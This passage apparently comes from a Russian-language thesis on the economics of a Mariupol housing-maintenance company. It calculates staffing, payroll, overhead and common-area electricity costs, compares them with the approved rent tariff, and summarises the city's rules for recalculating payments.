Таким образом, для поддержания удовлетворительного технического состояния жилых домов необходимо на сегодняшний день увеличить долевое участие областных и государственных ассигнований в выполнении капитальных ремонтов.

3. Отсутствие рыночных реформ в отрасли не позволяет создать благоприятную экономическую ситуацию в жилищном хозяйстве, в результате чего она является не привлекательной для инвестиций.

4. Отсутствие конкурентной среды. Несовершенная тарифная политика не дает возможность привлекать для оказания услуг предприятия разных форм собственности. Действующие тарифы не обеспечивают стабильной, безубыточной деятельности предприятий. В связи с недостаточной платежеспособностью населения, тарифы остаются ниже экономически обоснованных затрат.

5. В тарифе квартирной платы не предусмотрена рентабельность, которая могла бы быть направлена на развитие производства жилищных предприятий, приобретение оборудования и техники, пополнение оборотных средств, снижение которых произошло в результате инфляции, а также на создание фондов поощрения и др. Для инвестиционной привлекательности отрасли рентабельность жилищных услуг должна составлять не менее 30%.

6. Слабый кадровый потенциал из-за низкого уровня оплаты труда при относительно высокой трудоемкости работ. Необходимо рассмотреть возможность предоставления служебного жилья для привлечения в отрасль квалифицированных специалистов.

7. Не рассмотрен вопрос освобождения жилищных предприятий от уплаты НДС или об установлении льготных условий для перехода на упрощенную систему налогообложения. Высвободившиеся средства можно направить под строгим контролем на выполнение энергосберегающих мероприятий, таких как утепление трубопроводов и фасадов, установка пластиковых дверей и окон в подъездах жилых домов с тщательным утеплением, установка приборов учета тепловой энергии.

8. Не пересматривается налог на прибыль для жилищных предприятий.

Предлагаем производить расчет налога на прибыль от фактически поступивших доходов на расчетный счет жилищно-коммунальных предприятий за отчетный период или же освободить полностью.

3. Пути усовершенствования деятельности предприятия

3.1 Расчет экономически обоснованных расходов на содержание домов и придомовой территории

Произведем расчет нормативных затрат на содержание домов и придомовой территории.

Расчет стоимости работ (услуг), связанный с содержанием, обслуживанием и ремонтом домов и придомовых территорий (квартплаты) жилищного фонда, выполним согласно со ст. 6 Закона Украины «О жилищно-коммунальных услугах», ст. 191 Хозяйственного кодекса Украины

При расчете учтем требования и нормативы, определенные действующими нормативными документами:

— Законом Украины «О жилищно-коммунальных услугах».

— «Порядком определение нормативных расходов жилищно-эксплуатационных организаций, связанных с содержанием домов и при домовых территорий», утвержденным приказом Госкомитета строительства, архитектуры и жилищной политики Украины от в 03.09.1999 году № 214, зарегистрированным в Министерстве юстиции Украины 28 декабря в 1999 году 917/4210.

— «Методическими рекомендациями из планирования, учета и калькуляции себестоимости работ (услуг) на предприятиях и в организациях жилищно-коммунального хозяйства», утвержденных приказом госжитлокомунгоспу Украины от 06.03.2002 № 47;

— Типичными нормами времени и нормами обслуживания для рабочих и производственного персонала, занятого содержанием жилищного фонда, утвержденными приказом Государственного Комитета Украины по жилищно-коммунальному хозяйству от в 04.08.1997 году № 59.

— Отраслевым Соглашением между Государственным комитетом Украины по вопросам жилищно-коммунального хозяйства, и Центральным комитетом профсоюза работников жилищно-коммунального хозяйства, местной промышленности, бытового обслуживания населения Украины.

— Ресурсными элементными сметными нормами на ремонтно-строительные работы утверждены приказом Госстроя Украины от 14.09.2000 № 201.

— «Положением о системе технического обслуживания, ремонта и реконструкции обитаемых зданий в городах и поселках Украины», утвержденным приказом госжитлокомунгоспом Украины от 31.12.91. № 135.

— Законом Украины «О Государственном бюджете Украины на 2005 год».

— Постановление КМУ от 12 июля № 560 «Про затвердження Порядку формування тарифів на послуги з утримання будинків і споруд та при будинкових територій і типового договору про надання послуг з утримання будинків і споруд та при будинкових територій».

Для определения экономически обоснованных расходов на содержание домов и придомовой территории при расчете учтем специфику жилищного фонда ООО «Жилье-Плюс»- наличие коммунального благоустройства, техническое состояние зданий и их срок эксплуатации, внутренних инженерных систем и инженерного оборудования.

Перечень работ, связанный с содержанием, обслуживанием и ремонтом домов и сооружений и при домовых территорий:

Уборка лестничных клеток.

Уборка придомовой территории.

Обслуживание лифтов.

Электроэнергия для лифтов.

Освещение лестничных клеток.

Обслуживание внутренне домовых систем водо-, теплоснабжения, водоотвода, сливной канализации.

Вывоз и утилизация твердого бытового и грубого мусора.

Дератизация.

Дезинсекция.

10. Обслуживание дымовентиляционных каналов.

11. Уборка подвалов.

12. Техническое обслуживание бытовых электроплит.

13. Текущий ремонт:

Кровли;

Подъездов и лестничных клеток;

Несущих и защитных конструкций дома и столярных изделий фасадов;

Внутренних сантехсистем.

14. Содержание производственных мастерских, транспортных средств и механизмов для обслуживания жилья, текущего ремонта и ликвидации аварий.

15.Общепроизводственные расходы и административные расходы.

16. Очистка дворовых туалетов.

17. Другие прямые расходы, предусмотренные действующим законодательством.

Так как основную часть жилого фонда ООО « Жилье-Плюс» приходиться на 3 тип домов – 97,6%, поэтому произведем расчет для 3 типа домов.

Для расчета сведем технико-экономические показатели в таблицу.

Таблица 3.1.1 — Технико-экономические показатели

№

Наименование статей

Ед.

Технико-экономические показатели
п/п

измерен.

III тип
1

2

3

6
I

Общая площадь

тыс.м2

242,290
1

Уборка лесничных клеток

— площадь лесничный клеток

м2

27662,5
2

Численность проживающих

чел.

11069
3

Лифты

— количество лифтов

шт.

119
— площадь домов, обору-дованных лифтами

тыс. м2

242,29
4

Уборка придомовой терри-тории

— уборочная приведенная площадь придомовой территории с усовершенствованным покрытием

30772
I класс

м2

II класс

м2

8315
без покрытия

I класс

м2

14410
II класс

м2

5644
5

Количество мусопроводов,

шт.

119
6

Количество мусорокамер

шт.

119
7

Площадь мусорокамер

м2

571,6
8

Обслуживание ДВК

— количество дымовых каналов

шт.

— количество вентиляционных каналов

9000

Рассчитаем численность уборщиц и дворников, для этого рассчитаем нормы времени относительно уборки лестничных клеток и придомовой территории, которые установлены в человеко-часах на единицу объема работы.

Рассчитаем численность уборщиц

Таблица 3.1.2 — Численность уборщиц

№

Перечень работ

Исходные данные

Нормы

времени

Примечание

(ед.измер.)

пп

объем

повтор

н/часу

1

Влажное подметание площадок

и маршей первых 3-х этажей

8979,6

305

1,105

30263,5

100 м2
2

Влажное подметание площадок

0,442

и маршей выше 3-го этажа

18510,58

156

12763,7

100 м2
3

Влажное подметание мест перед клапанами мусоропровода

172,32

305

1,658

871,4

100 м2
4

Мытье площадок

и маршей первых 3-х этажей

8979,6

24

1,842

3969,7

100 м2
5

Мытье площадок

и маршей выше 3-го этажа

18510,58

24

1,105

4909,0

100 м2
6

Влажная протирка

стен

52031,08

2

1,473

1532,84

100 м2
дверей

9962,4

2

2,25

448,31

100 м2
перил

4331,92

12

1,658

861,88

100 м2
плафонов

3117

2

0,074

46,13

10 шт.
подоконников

258,51

12

2

62,04

100 м2
оконных ограждений

64,8

12

2,026

15,75

100 м2
отопительных приборов

48,4

12

2,763

16,05

100 м2
почтовых ящиков

660,8

12

1,105

87,62

100 м2
шкафов електрощетчиков

144

12

1,105

19,09

100 м2
7

Мытье окон

2434,5

2

0,516

251,24

10 м2
8

Обметание пыли с потолков

28938

24

0,921

6396,46

100 м2
9

Очистка приямков

36

52

0,958

179,34

10 шт.
10

Уборка площадок перед входом

подметание

1275,5

52

1,289

854,94

100 м2
мытье

1275,5

52

3,315

2198,71

100 м2
Всего

65747,71

Численность уборщиц (Чу) = годовая норма времени на весь объем работ/ среднегодовой фонд рабочего времени

Чу = 65747,71/2011 = 32,69 чел.

Рассчитаем численность дворников

Таблица 3.1.3 — Численность дворников

№

Перечень работ

Исходные данные

Норма

времени

Премечание (ед.изм.)
пп

объем

повтор

н/часа

1

Подметание снега на территории с усовершенствованным покрытием

І класса

9231,6

30

0,174

481,89

100 м2
ІІ класса

2494,5

30

0,214

160,15

100 м2
2

Посыпание территории песком

І класса

1538,6

20

0,204

62,77

100 м2
ІІ класса

415,75

30

0,24

29,93

100 м2
3

Здвигание снега (территория)

с усовершенстваным покрытием

І класса

9231,6

40

0,987

3644,64

100 м2
ІІ класса

2494,5

40

1,149

1146,47

100 м2
4

Очистка территории от уплотненного снега

І класса

1538,6

6

0,289

266,79

10 м2
ІІ класса

415,75

6

0,355

88,55

10 м2
5

Подметание территории

усовершенствованным покрытием

І класса

30772

285

0,129

11313,33

100 м2
ІІ класса

8315

285

0,162

3839,04

100 м2
без покрытия І класса

14410

104

0,211

142,64

100 м2
без покрытия ІІ класса

5644

104

0,243

391,72

100 м2
6

Уборка газонов

27413,0

104

0,129

8092,1

100 м2
7

Уборка чердаков, подвалов

29115,5

2

0,19

53,23

100 м2
8

Профосмотр мусорокамер

2825

12

4,267

1102,11

100 пог.м
9

Извлечение мусора из мусорокамеры

*бункер

57,78

305

0,821

14468,4

1 м3
10

Уборка бункеров с помощью шлангов

113

12

1,962

266,05

10 бункеров
11

Уборка клапанов мусорокамеры

581

12

0,938

653,97

10 клапанов
12

Уборка мусорокамер с помощью шланга

571,6

12

0,35

240,07

10 м2
13

Мытье сменных мусорозборников с помощью шлангов переносные

226

12

0,438

118,79

10 мус./сбор.
14

Дезинфекция стволов мусоропровода — вручную

2825

12

0,343

1162,77

10 м.мус.
15

Дезинфекция мусоросборников

*бункера

113

12

1,683

228,21

10мус./сб.
*переносные мусорозборники

226

12

0,582

157,84

10мус./сб
Всего

48111,46

Численность дворников (Чд) = годовая норма времени на весь объем работ/ среднегодовой фонд рабочего времени

Чд = 48111,46/2011 = 23,92 чел.

Рассчитаем численность ремонтно-эксплуатационных рабочих и производственного персонала по формуле: Численность = Объем работ / Норма обслуживания одного рабочего. Расчет сведем в таблицу.

Таблица 3.1.4 — Численность ремонтно-эксплуатационных рабочих и производственного персонала

Профессии рабочих

Конструкции, оборудование и элементы благоустройства

Един. измер.

Норма обслуживания одного рабочего

Объем робот

Коли-чество рабочих (чел.)
Кровельшик

Крыша из мягких кровельных материалов площадью одной крыши 200 -500 м2

м2 крыши

9400

То же свыше 500 м2

м2 крыши

9700

42817

4,41
Плотник

Срок эксплуатации дома-свыше 10 лет

І группа домов

м2 общ.площ.

41700

ІІ группа домов

м2 общ.площ.

51600

242290,47

4,7
ІІІ группа домов

м2 общ.площ

23400

Столяр

Срок эксплуатации дома-свыше 10 лет

І группа домов

м2 общ.площ.

50840

ІІ группа домов

м2 общ.площ.

62930

242290,47

3,85
ІІІ группа домов

м2 общ.площ

33945

Штукатур

Срок эксплуатации дома -свыше 10 лет

І группа домов

м2 общ.площ

72000

ІІ группа домов

м2 общ.площ.

93300

242290,47

2,6
ІІІ группа домов

м2 общ.площ

67700

Маляры

Срок эксплуатации дома – свыше 10 лет

І группа домов

м2 общ.площ

47900

ІІ группа домов

м2 общ.площ.

62000

242290,47

3,91
ІІІ группа домов

м2 общ.площ

44900

Каменьщики

Срок эксплуатации дома-свыше 10 лет

І группа домов

м2 общ.площ

32500

ІІ группа домов

м2 общ.площ.

36600

242290,47

6,62
Печники

Отопительные печи и домашние очаги

шт.

1100

Вентиляционные каналы и каналы для отвода продуктов сгорания газа в нагревательных приборах и газифицированных печах

шт.

5000

9000

1,8
Слесари-сантехники

а) Водопровод и канализации при наличии ванн в 1-2-этажных домах

квартира

265

То же в домах 3-4 этажных

квартира

285

То же в домах 5-этажных и более

квартира

310

4500

14,5
е) Одновременно горячее водоснабжение и центральное отопление

В 1-2-этажных домах

м2 общ.площ

19530

То же в домах 3-4 этажных

м2 общ.площ

21700

То же в домах 5-этажных и более

м2 общ.площ

24920

242290,47

9,72
Электромонтеры

а) Электросети в домах со скрытой проводкой

квартира

1450

4500

3,1
Транспо-ртные работники

Перевозка грузов, людей, погрузка и разгрузка, укладка грузов

м2 общ.площ.

93000

242290,47

2,61
Электрогазосварщики

Устранение неисправностей в системах холодного и горячего водоснабжения, центрального отопления и в элементах строительных конструкций

м2 общ. площ.

124000

242290,47

1,95

Рассчитаем фонд заработной платы рабочих и составим штатное расписание.

В расчеты возьмем среднемесячную (годовая разделенная на 12) заработную плату отдельно за статьями эксплуатационных расходов или по каждому виду работ.

Размер среднемесячной заработной платы определен, выходя из размера минимальной заработной платы, установленной действующим законодательством – 515 грн.

Минимальную тарифную ставку рабочего 1 разряда в размере 120 процентов размера минимальной заработной платы, установленной законом (согласно Отраслевого соглашения между Государственным комитетом Украины по вопросам жилищно-коммунального хозяйства и Центральным комитетом профсоюза работников жилищно-коммунального хозяйства, местной промышленности, бытового обслуживания населения Украины п.3.1.3.абзац 2. (дальше – Соглашение), а также Регионального соглашения между Донецкой облгосадминистрацией, профсоюзными объединениями Донецкой области и Донецкой областной организацией работодателей на 2006-2008 годы).

В расчетах применим коэффициенты соотношений минимальной тарифной ставки рабочего 1 разряда, минимальной месячной тарифной ставки (оклада) по видами работ, отдельными профессиями к минимальной тарифной ставке рабочего 1 разряда, минимальной месячной тарифной ставки (оклада) за простой неквалифицированный труд согласно с добавлениями 2 и 3 «Соглашения», и рекомендованные коэффициенты соотношений размеров месячных должностных окладов руководящих работников и специалистов к размеру должностного оклада техника согласно с добавлением 4 «Соглашения».

Для ремонтно-эксплуатационных работ применим: 1,2 – коэффициент соотношений (приложение № 2 к отраслевому соглашению), 1,0; 1,08; 1,2, 1,35 – межразрядные тарифные коэффициенты (приложение № 1 к отраслевому соглашению).

Для уборщиц и дворников применим: 1,2 – коэффициент соотношений (приложение № 2 к отраслевому соглашению)

Таблица 3.1.5 — Штатное расписание работников по техническому обслуживанию и МОП

№

Название профессии

Количе-ство штат-ных единиц

Раз-ряд

Часовая тариф-ная ставка, грн.

Средне-месяч-ная зарпла-та, грн.

Допол-ни-тельная зарпла-та, грн.

Месяч-ный фонд зарпла-ты, грн.

Годовой фонд зарплаты, грн.
Работники по техническому обслуживанию
1

Монтажники внутренних санитарно-технических систем

24,22

3

5,73

23257

9303

32560

390715
2

Электрогазосварщик

1,95

3

5,73

1872

749

2621

31457
3

Электромантажник по освещению и осветительным сетям

3,1

3

5,73

2977

1191

4167

50009
4

Водитель транспортных средств

2,61

5,73

2506

1002

3509

42104
Итого

23,74

30612

12245

42857

514286
5

Кровельщик

4,41

3

5,73

4235

1694

5928

71142
6

Плотник

4,7

3

5,73

4513

1805

6318

75820
7

Столяр

3,85

3

5,73

3697

1479

5176

62108
8

Штукатур

2,6

3

5,73

2497

999

3495

41943
9

Каменщик

6,62

3

5,73

6357

2543

8899

106793
10

Маляр

3,91

3

5,73

3755

1502

5256

63076
11

Печник

1,8

2

5,16

1556

623

2179

26149
Итого

22,68

26609

10644

37253

447031
Младший обслуживающий персонал
12

Дворник

23,92

15965

3193

19158

229898
13

Уборщица

32,69

21819

4364

26182

314188
Итого

57,6

37784

7557

45341

544086
Всего

104,02

95005

30445

125450

1505403

Рассчитаем численность и фонд оплаты по административному и общепроизводственному персоналу

При определении должностных окладов руководящих работников и специалистов применяются коэффициенты соотношений к должностному окладу техника без категории (515х 1,2=618 грн).

Таблица 3.1.6 — Коэффициенты соотношения примем согласно Приложению 3 и 4 отраслевого соглашения

№ п/п

Наименование должностей

Количество штатных единиц

Должностной оклад

Премия 20%

Месячный фонд

Годовой фонд
1

Директор

1

1640

328

1968

23616
2

Ведущий инженер

1

1488

297,6

1785,6

21427,2
3

Главный бухгалтер

1

2269

453,8

2722,8

32673,6
4

Бухгалтер 1 категории

1

1315

263

1578

18936
5

Бухгалтер 2 категории

1

1135

227

1362

16344
6

Бухгалтер по квартплате

1

1115

223

1338

16056
7

Юрист 2 категории

1

1135

227

1362

16344
8

Секретарь

1

667

133,4

800,4

9604,8
9

Начальник участка

1

1869

373,8

2242,8

26913,6
10

Мастер сантехгруппы

2

1200

240

2880

34560
11

Мастер технического участка

3

1200

240

4320

51840
12

паспортист

2

862

172,4

2068,8

24825,6
13

кладовщик

1

667

133,4

800,4

9604,8
14

Уборщик служебных помещений

1

556

111,2

667,2

8006,4
15

Обработчик информации

1

834

166,8

1000,8

12009,6
Всего

19

17952

3590,4

26896,8

322761,6

Начисления на заработную плату примем согласно с действующим законодательством в размере 36,67%.

Рассчитаем накладные расходы. При вычислены накладных расходов учтенные обязательные платежи в бюджет, а также собрания и платежи в государственные фонды согласно с требованиями действующего законодательства (налог на землю, транспорт, экологию, коммунальный налог и другие). В общих чертах производственные и административные расходы осуществлены согласно с «Методическими рекомендациями из планирования, учета и калькуляции себестоимости работ (услуг) на предприятиях и в организациях жилищно-коммунального хозяйства», утвержденных приказом держжитлокомунгоспу Украины от 06.03.2002 № 47. Накладные расходы рассчитаем согласно фактических накладных за 2007 год, а зарплату возьмем расчетную.

Таблица 3.1.7 — Накладные расходы

Статьи затрат

Сумма, тыс.грн.
Зарплата административного персонала и общепроизводственного персонала

322,8
начисления на зарплату

118,4
содержание админзданий

110,1
амортизация

9,4
канцелярские и хозрасходы

8,4
услуги банка

12,0
связь

9,1
подписка

2,3
компьютерное обслуживание

8,4
Консультационные услуги

0,8
Охрана труда

1,3
прочие

21,2
налоги

1,5
Всего

625,7
Годовой фонд заработной платы рабочих

1505,4
%

41,6

Расходы на материалы возьмем согласно усредненным расходам по городу, которые рассчитаны согласно с ресурсными элементными сметными нормами на ремонтно-строительные работы утвержденные приказом Госстроя Украины от 14.09.2000 № 201, приказом Государственного комитета Украины по вопросам жилищно-коммунального хозяйства от 10 августа в 2004 году № 150.

Таблица 3.1.8 — Расходы на материалы усредненные по городу в грн. на 1м2

№

Виды работ

Сумма, на 1 м2

Сумма, грн. на общую площадь
3

Обслуживание дымовентканалов

0,0016

387
4

Обслуживание и ремонт внутренних электросетей

0,0030

730
5

Обслуживание и ремонт внутренних сантехсистем

0,1930

46763
6

Обслуживание и ремонт кровли

0,0640

15496
7

Обслуживание и ремонт столярки

0,0030

722
8

Обслуживание и ремонт конструкций(стены)

0,0073

1764
9

Обслуживание и ремонт подъездов, фасадов

0,0139

3368

А также запланируем другие расходы в размере 5% к заработной плате основных работников

Учтем, что некоторые виды работ, связанные с содержанием жилищного фонда могут выполняться подрядными организациями.

Расходы на работы (услуги), которые выполняются подрядными организациями, принятые согласно с тарифами на эти работы (услуги) на момент проведения расчета.

Рассчитаем стоимость санитарной обработки подвалов, мусоропроводов и камер

Впд = (Sн хТд) /Sз, где

Впд – среднемесячная стоимость дератизации в подвалах и на 1 этаже,

Sн – площадь подвалов

Тд – месячный тариф на дератизационные работы за 1 м2 площади, грн.

Sз – общая площадь

Дератизация:

Впд = 31689,6*0,088333333/242290,47 = 0,01155

Дезинсекция:

Впд = 28260*0,123333333/242290,47 = 0,01438

Рассчитаем стоимость освещения мест общего пользования

Таблица 3.1.9 — Нормы расходования электроэнергии на освещения мест общего пользования

Месяцы года

9 –этажные дома

10-12-этажные дома
лесн. клетки

подвалы

мусорокамеры

лесн. клетки

подвалы

мусорокамеры
Январь

63

0,8

1,8

67,8

0,7

1,7
Февраль

52

0,7

1,8

55,8

0,6

1,7
Март

49

0,7

1,7

52,8

0,6

1,6
Апрель

39

0,6

1,6

42

0,5

1,5
Май

32

0,6

1,6

34,8

0,5

1,5
Июнь

29

0,5

1,5

31,8

0,4

1,4
Июль

32

0,5

1,5

34,8

0,4

1,4
Август

39

0,6

1,6

42

0,5

1,5
Сентябрь

44

0,6

1,6

48

0,5

1,6
Октябрь

52

0,7

1,7

56,4

0,6

1,6
Ноябрь

59

0,8

1,8

63,6

0,7

1,7
Декабрь

65

0,8

1,8

70,2

0,7

1,7
год

555

7,9

20

600

6,7

18,9
месяц

46,25

0,66

1,67

50

0,56

1,58

Нормы расхода установлены на 100 м 2 жилой площади, но так как расчеты производятся на 1 м2 общей площади, приведем жилую площадь в общую согласно коэффициента 0,56.

Произведем расчет расхода электроэнергии по формуле:

Э об.п. = (Н*К/100)*S,

где Э об.п. – электроэнергия мест общего пользования, кВт/месяц;

Н- нормы расходования электроэнергии мест общего пользования;

К — коэффициент(0,56);

S — общая площадь

Для девятиэтажных домов: Э об.п. =((46,25+0,66+1,67) *0,56/100) * 218626,67 = 59476,95 кВт

Для десятиэтажных домов: Э об.п. = ((50+0,56+1,58)*0,56/100)* 23663,8 = 6909,5 кВт

Рассчитаем стоимость электроэнергии мест общего пользования по формуле:

Эц.об.п.=(Ц*Эоб.п.)/S, где Эц.об.п – стоимость электроэнергии мест общего пользования, грн. на 1м2, Ц –стоимость электроэнергии

Эц.об.п =(0,203*(6909,5+59476,95)/242290,47=0,05562 грн.

Рассчитаем стоимость электроэнергии на эксплуатацию лифтов

Таблица 3.1.10 — Нормы расходования электроэнергии на эксплуатацию лифтов

Месяцы

Расходование электроэнергии в кВт.час. за месяц
В девятиэтажных домах

В десятиэтажных домах
Январь

39

62
Февраль

35

55
Март

35

55
Апрель

37

59
Май

37

60
Июнь

33

52
Июль

34

53
Август

34

53
Сентябрь

33

52
Октябрь

40

63
Ноябрь

40

63
Декабрь

37

59
Год

434

686
месяц

36,1666

57,1666

Эл.= (Н*К/100)*S,где Э л. – электроэнергия на эксплуатацию лифтов, кВт/месяц;

Н- нормы расходования электроэнергии на эксплуатацию лифтов;

К- коэффициент(0,56);

S- общая площадь

В девятиэтажных домах:

Эл. = (36,1666*0,56/100)* 218626,67 = 44279,11 кВт

В десятиэтажных домах:

Эл. = (57,1666*0,56/100)* 23663,8 = 7575,56 кВт

Рассчитаем стоимость электроэнергии на эксплуатацию лифтов по формуле:

Эц.л.=(Ц*Эл.)/S, где Эц.л. – стоимость электроэнергии на эксплуатацию лифтов, грн. на 1м2, Ц –стоимость электроэнергии

Эц.л. =(0,203*(44279,11+7575,56)/ 223059,18=0,047 грн.

Рассчитаем стоимость обслуживания лифтов на 1 м2 по формуле:

С = (Ц*Q)/S, где С- стоимость обслуживания лифтов на 1 м, Ц- Стоимость обсмлуживания одного лифта, Q – количество лифтов,S- общая площадь

С = (374*119)/ 223059,18 = 0,20 грн.

Сведем все расчеты в таблицу

Таблица 3.1.11 — Сводный расчет расходов на работы (услуги), связанные с содержанием домов и придомовой территории по видам работ

№

Виды работ (услуг)

Оз

Нп

Н

М

Д

стоимость
всего

на 1 м2
1

Уборка лестничных клеток

26182

9601

10892

422

1309

48406

0,20
2

Уборка придомовой территории, подвалов, тех. этажей, туалетов

19158

7025

7970

1080

958

36191

0,149
3

Обслуживание дымовентканалов

2179

799

906

387

109

4380

0,018
4

Обслуживание и ремонт внутренних электросетей

4167

1528

1733

730

208

8366

0,0345
5

Обслуживание и ремонт внутренних сантехсистем

35181

12901

14635

46763

1759

111239

0,46
6

Обслуживание и ремонт кровли

5928

2174

2466

15496

296

26360

0,11
7

Обслуживание и ремонт столярки

11494

4215

4782

722

575

21788

0,09
8

Обслуживание и ремонт конструкций(стены)

8899

3263

3702

1764

445

18073

0,075
9

Обслуживание и ремонт подъездов, фасадов

8751

3209

3640

3368

438

19406

0,08
10

Электроэнергия освещения мест общего пользования

0,056
11

Дератизация

0,0116
12

Дезинсекция

0,0144
13

Вывоз ТБО

14

Содержание производственных мастерских

3509

1287

1460

1215

175

7646

0,032
15

Электроэнергия лифтов

0,047
16

Обслуживание лифтов

0,2
17

Всего

125448

46002

52186

71947

6272

301855

1,5775

Таблица 3.1.12 — Действующий расчет расходов на работы (услуги), связанные с содержанием домов и придомовой территории по видам работ

№

Виды работ (услуг)

Оз

Нп

Н

М

Д

стоимость
всего

на 1 м2
1

Уборка лестничных клеток

18756

6878

5926

422

31982

0,132
2

Уборка придомовой территории, подвалов, тех. этажей, туалетов

17493

6415

5527

1080

258

30771

0,127
3

Обслуживание дымовентканалов

2356

864

744

382

15

4361

0,018
4

Обслуживание и ремонт внутренних электросетей

3012

1104

952

721

26

5815

0,024
5

Обслуживание и ремонт внутренних сантехсистем

26281

9637

8303

45652

502

90374

0,373
6

Обслуживание и ремонт кровли

4679

1716

1478

15109

36

23018

0,095
7

Обслуживание и ремонт столярки

10047

3684

3174

706

75

17687

0,073
8

Обслуживание и ремонт конструкций(стены)

7164

2627

2263

1707

48

13811

0,057
9

Обслуживание и ремонт подъездов, фасадов

7624

2796

2409

3296

109

16233

0,067
10

Электроэнергия освещения мест общего пользования

0,036
11

Дератизация

0,011
12

Дезинсекция

0,013
13

Вывоз ТБО

14

Содержание производственных мастерских

3182

1167

1005

1215

457

7026

0,029
15

Электроэнергия лифтов

0,039
16

Обслуживание лифтов

0,217
17

Всего

100594

36888

31781

70290

1526

241079

1,316

Сравним нормативные расходы с утвержденным тарифом квартирной платы

Таблица 3.1.13

№

Виды работ (услуг)

Нормативные расходы

Утвержденный тариф

Разница
1

Уборка лестничных клеток

0,20

0,132

-0,068
2

Уборка придомовой территории, подвалов, тех. этажей, туалетов

0,149

0,127

-0,022
3

Обслуживание дымовентканалов

0,018

0,018

0
4

Обслуживание и ремонт внутренних электросетей

0,0345

0,024

-0,0105
5

Обслуживание и ремонт внутренних сантехсистем

0,46

0,373

-0,087
6

Обслуживание и ремонт кровли

0,11

0,095

0,015
7

Обслуживание и ремонт столярки

0,09

0,073

-0,017
8

Обслуживание и ремонт конструкций (стены)

0,075

0,057

-0,018
9

Обслуживание и ремонт подъездов, фасадов

0,08

0,067

-0,013
10

Электроэнергия освещения мест общего пользования

0,056

0,036

-0,02
11

Дератизация

0,0116

0,011

-0,0006
12

Дезинсекция

0,0144

0,013

-0,0014
13

Вывоз ТБО

14

Содержание производственных мастерских

0,032

0,029

-0,003
15

Электроэнергия лифтов

0,047

0,039

-0,008
16

Обслуживание лифтов

0,2

0,217

-0,017
17

Всего

1,5775

1,316

-0,2615

Сравним нормативные затраты с утвержденными по работам выполняемыми собственными силами согласно структуры расходов

Таблица 3.1.14

Показатели

Оз

Нп

Н

М

Д

стоимость
всего

на 1 м2
Нормативные затраты

125448

46002

52186

71947

6272

301855

1,246
Утвержденные затраты

100594

36888

31781

70290

1526

241079

0,995
Разница

-24854

-9114

-20405

-1657

-4746

-60776

-0,251

Сейчас утвержден тариф по 3 типу домов – 1,57 грн.,а для 1 этажей — 1,26 грн. а согласно нашим расчетам экономически обоснованные расходы — 1,89 грн. (С НДС), то есть тариф покрывает 83,1%. Согласно произведенным расчетам, основную разницу составляют работы выполняемые собственными силами, а из них основная часть приходиться на затраты на выплату заработной платы. На протяжении 2008 года минимальная заработная плата будет расти согласно «Бюджету Украины на 2008 год» до 605 грн., соответственно будет расти и нормативные затраты, тем более,что заработная плата занимает основную часть в затратах на содержание домов и придомовой территории.

3.2 Усовершенствование качества предоставляемых услуг в сфере жилищно-коммунального хозяйства

Сейчас стоит очень важный вопрос о качестве оказываемых услуг оказываемые жилищными предприятиями г. Мариуполя, поэтому исполкомом Мариупольского городского совета решением № 351 от 20.12. 2006 г. «Про затвердження документів, що регулюють взаємовідношення між виконавцем і споживачем послуг з утримання будинків та при будинкових територій», которым утвержден порядок пересчета размера платы за услуги по содержанию домов и придомовых территорий в случае их не предоставления или предоставления не в полном объеме; перечень услуг и размеры статей расходов по содержанию домов и придомовых территорий, которые подлежат пересчету в случае невыполнения работ (услуг) или выполнения их в не полном объеме; перечень работ, которые выполняются предприятиями, обслуживающими жилищный фонд, согласно утвержденных тарифов на содержание домов и придомовых территорий; договор на предоставление услуг по содержанию домов и сооружений и придомовых территорий.

Этот порядок является обязательным для предприятий, обслуживающих жилищный фонд городского совета, а также распространяется на субъекты ведения хозяйства всех форм собственности и ведомственной подчиненности, что эксплуатируют жилье и предоставляют услуги по содержанию домов и сооружений и придомовых территорий. Порядок регулирует отношения между населением и предприятиями и организациями, независимо от форм собственности, которые предоставляют потребителю услуги по содержанию жилья и непосредственно ведут с ним расчеты.

Порядок определяет условия осуществления пересчета размера платы за содержание домов и придомовых территорий при не предоставление или предоставление в неполном объеме услуг и направленные на обеспечение соответствия оплаты населением показателям фактически предоставленных услуг.

Согласно порядку проведения перерасчета услуг:

1. Предприятия, которое обслуживает жилищный фонд, перечисляет ежемесячно или согласно установленным срокам, плату за услуги по содержанию домов и придомовой территории при невыполнение их, или выполнение не в полном объеме соответственно фактически предоставленным услугам.

2. Пересчет осуществляется по каждой статье отдельно к 30 числу месяца, следующего за отчетным (кроме услуг по дератизации, дезинсекции, обслуживания димовентканалов, обслуживания и ремонта снаряжения (подъездов, фасадов), которые пересчитываются один раз на год, до 30 января года, следующего за отчетным).

3. Пересчету подлежит плата за услуги по содержанию домов и придомовой территории по каждому дому отдельно по типами жилья в расчете на 1 2 общей площади, если фактически услуга невыполненная, или выполненная не в полном объеме.

4. Для выполнения пересчета населению за отклонение объема услуги, установленным размером тарифа, Исполнитель услуг должен ввести отдельный ежемесячный учет расходов на работы (услуги), связанные с обслуживанием домов и придомовой территории, которые выполняются собственными силами и подрядным способом, по каждому дому отдельно.

5. Пересчет, выполняются путем зачета сумм снижения к платежам следующего периода. В случаях досрочной оплаты за содержание домов и придомовых территорий пересчета подлежат также платежи за следующий период, по завершении авансового платежа.

6. О пересчете за не предоставление или предоставленные не в полном объеме услуги Исполнитель услуг должен сообщить Потребителю услуг, указав размер пересчета платы в письменной форме (квитанция), вид услуги и период, за который осуществлен пересчет.

7. Если, одна или несколько услуг по содержанию жилья невыполненные полностью, то пересчет проводится в размерах и в срок согласно перечню услуг и размеров статей расходов по содержанию домов и придомовой территории, которые подлежат перерасчету в случае невыполнения или выполнения их в не полном объеме. Если услуга предоставлена не в полном объеме пересчет осуществляется с учетом фактических расходов на эту услугу.

8. Пересчет услуг не проводится если действующие тарифы на услуги по содержанию домов и придомовой территории ниже экономически обоснованных расходов и при этом фактические расходы по статье, которая подлежит пересчету, выше чем предусмотрено действующими тарифами.

9. Если Исполнителем услуга предоставлена в полном объеме и при этом есть экономия за статьей расходов, пересчет населению не проводится.

10. Относительно работ (услуг), которые выполняются подрядным способом, Исполнитель услуг ведет учет по дому согласно с условиями, предусмотренными подрядным договором на эти работы (услуги). В случае отклонения уровня услуг по договору с фактически выполненными подрядчиком объемами работ в договоре должны быть предусмотрены условия уменьшения платы за них подрядчику.

11. Учет работ (услуг), выполненных подрядным способом, а также пересчет Потребителю проводятся на основании актов, журналов работы лифтов, других документов по учету предоставленных услуг.

